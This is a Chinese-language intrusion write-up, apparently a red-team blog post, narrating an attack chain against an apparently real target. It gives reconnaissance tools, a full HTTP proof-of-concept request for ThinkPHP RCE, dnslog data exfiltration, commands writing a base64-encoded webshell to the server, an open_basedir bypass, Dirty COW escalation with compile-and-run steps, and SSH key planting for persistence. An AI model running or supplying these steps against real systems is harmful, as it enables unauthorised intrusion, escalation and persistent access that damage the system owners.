资产收集
第一步,域名收集
首先打开目标官网并且在tianyancha、qichacha等网站上进行收集目标域名。
天眼查:
https://www.tianyancha.com/
对目前环境来说,是最适合也是最好用的查询平台。
企查查:
https://www.qcc.com/
经过改版不是很好用了,因为某些特殊原因,对政企、央企等等目标不是很友好。
自动化工具推荐:
ENScan_GO
这个自动化工具是狼组开发的go版本的ENScan,一款基于各大企业信息API的工具,解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。
可以直接帮助我们自动化爬取天眼查、企查查的搜索结果。工具链接:
https://github.com/wgpsec/ENScan_GO
另补充:
域名是最重要的资产收集步骤,没有之一。因为后续的子域名收集、IP端口扫描都是基于域名的收集。如果域名没有收集到位,那么我们的资产必然收集缺失。
所以笔者建议,如果攻击时间充足,那么务必手工收集资产域名。
第二步,子域名扫描
对第一步收集的域名进行子域名扫描。
自动化工具推荐:
Oneforall
OneForAll是一款功能强大的子域收集工具.
笔者比较喜欢这个工具的原因是:
1、利用python编写 2、内置api强大 3、内涵子域名爆破
https://github.com/shmilylty/OneForAll
Ksubdomain
无状态子域名爆破工具
https://github.com/knownsec/ksubdomain
第三步,网络空间测绘平台
利用网络空间测绘平台进行收集目标资产
平台推荐
hunter
https://hunter.qianxin.com/
fofa
https://fofa.info/
第四步,端口爆破
将子域名扫描工具Oneforall及Ksubdomain扫描出来的IP结果导出,加上网络空间测绘出来IP都放入文件中。
自动化扫描推荐:
主要功能就是端口扫描,并且它能将banner也扫描出来。当然其他的全端口扫描工具也有很多,我习惯于用这个工具。
https://github.com/4dogs-cn/TXPortMap
用法:
将IP列表放入IP中执行命令即可,建议放在VPS中跑比较好。
nohup ./txportmap -l ip.txt -p 1-65535 &
第五步,上漏洞扫描器
首先打开了笔者珍藏了二十年的扫描器,将子域名及端口扫描的url全部都扫描一遍,主动扫描、被动扫描都可以,这个可以取决于大佬们习惯于使用的漏洞扫描器。
在一个月黑风高的晚上,笔者一边啃着一块五买的馒头,一边追着剧(摸鱼,嘿嘿嘿),突然发现扫描器一直在嘀嘀嘀嘀的响,立马高高兴兴的开始干活。
外网打点Thinkphp RCE
首先就是一个登录框,但是珍藏了二十年的扫描器告诉我存在thinkphp rce
随便输点东西,报错,坐实了ThinkPhp框架
使用GitHub利用工具打均失败。怀疑是disabledfunction了, 只能使用POC包去测试哪些方法被disabled了:
poc包如下:
POST /admin/ HTTP/1.1
Accept-Encoding: gzip
Host:
Referer:xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=j9js8h908kg4vqs4sd76ibc9iq
Connection: close
Content-Length: 61
get[]=phpinfo&_method=__construct&method=get&filter=exec
发现exec函数被禁了,把全部方法都测试了一下,大部分的函数都被禁了。
经过半个小时的测试,最后发现:call_user_func 可以使用shell_exec无回显但是dnslog可以带出数据. 成功执行代码。
发现disable_function 基本把函数都禁掉了。
通过phpinfo 可以知道是linux 系统 也知道了路径 那么可以直接写入木马
直接写入木马Getshell
经过尝试,冰蝎马连接不上,还是哥斯拉强悍!!!
这里分析了一下原因,冰蝎马和哥斯拉的马用的执行函数不通,可能冰蝎马的执行函数没有过disabled.而哥斯拉的过去了。
把哥斯拉马 base64加密 echo上去 (这里是个小技巧):
echo 木马base64加密 |base64 -d > ./loginxxx.php
我们直接访问目标:
http://www.xxx.com/.sys5.php
发现已经存在文件了然后哥斯拉连接shell:
bypass open_basedir
这个时候一直出现打不开目录。感觉用户访问文件的活动范围限制在指定区域了。这时我想到了哥斯拉的插件 BypassOpenBasedir:
open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
假设open_basedir=/var/www/html/web1/;/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。
那么问题就迎刃而解了。所有的目录都可以看了。
权限提权-脏牛
接着就是信息收集,发现权限贼小,只是www权限。上传linux-exploit-suggester.sh 准备进行提权。
发现可以使用脏牛进行提权,直接提权一把梭:
工具链接:
https://github.com/FireFart/dirtycow
脏牛工具使用教程:
1 gcc -pthread dirty.c -o dirty -lcrypt
2 chmod +x dirty
3 ./dirtypassword
4 su firefart (坑点)
一直提示:
Password: su: Authentication failure
我都快疯了。一直登录不上,墨迹了半个小时
后来,我决定搭建代理,使用XSHELL 登录该用户
成功拿下。
权限维持-ssh公私钥
啥也不说,第一时间搞个公私钥 小小的权限维持一下
1、Kali 生成公私钥:
ssh-keygen -t rsa
2、id_rsa.pub 拷贝到服务器
/home/root-server/.ssh 改名为 authorized_keys
3、使用Xshell 的私钥连接即可
总结
攻击总过程:
资产收集-漏洞扫描-发现thinkphpRCE-过disabled-getshell-过open_basedir-脏牛提权-ssh公私钥权限维持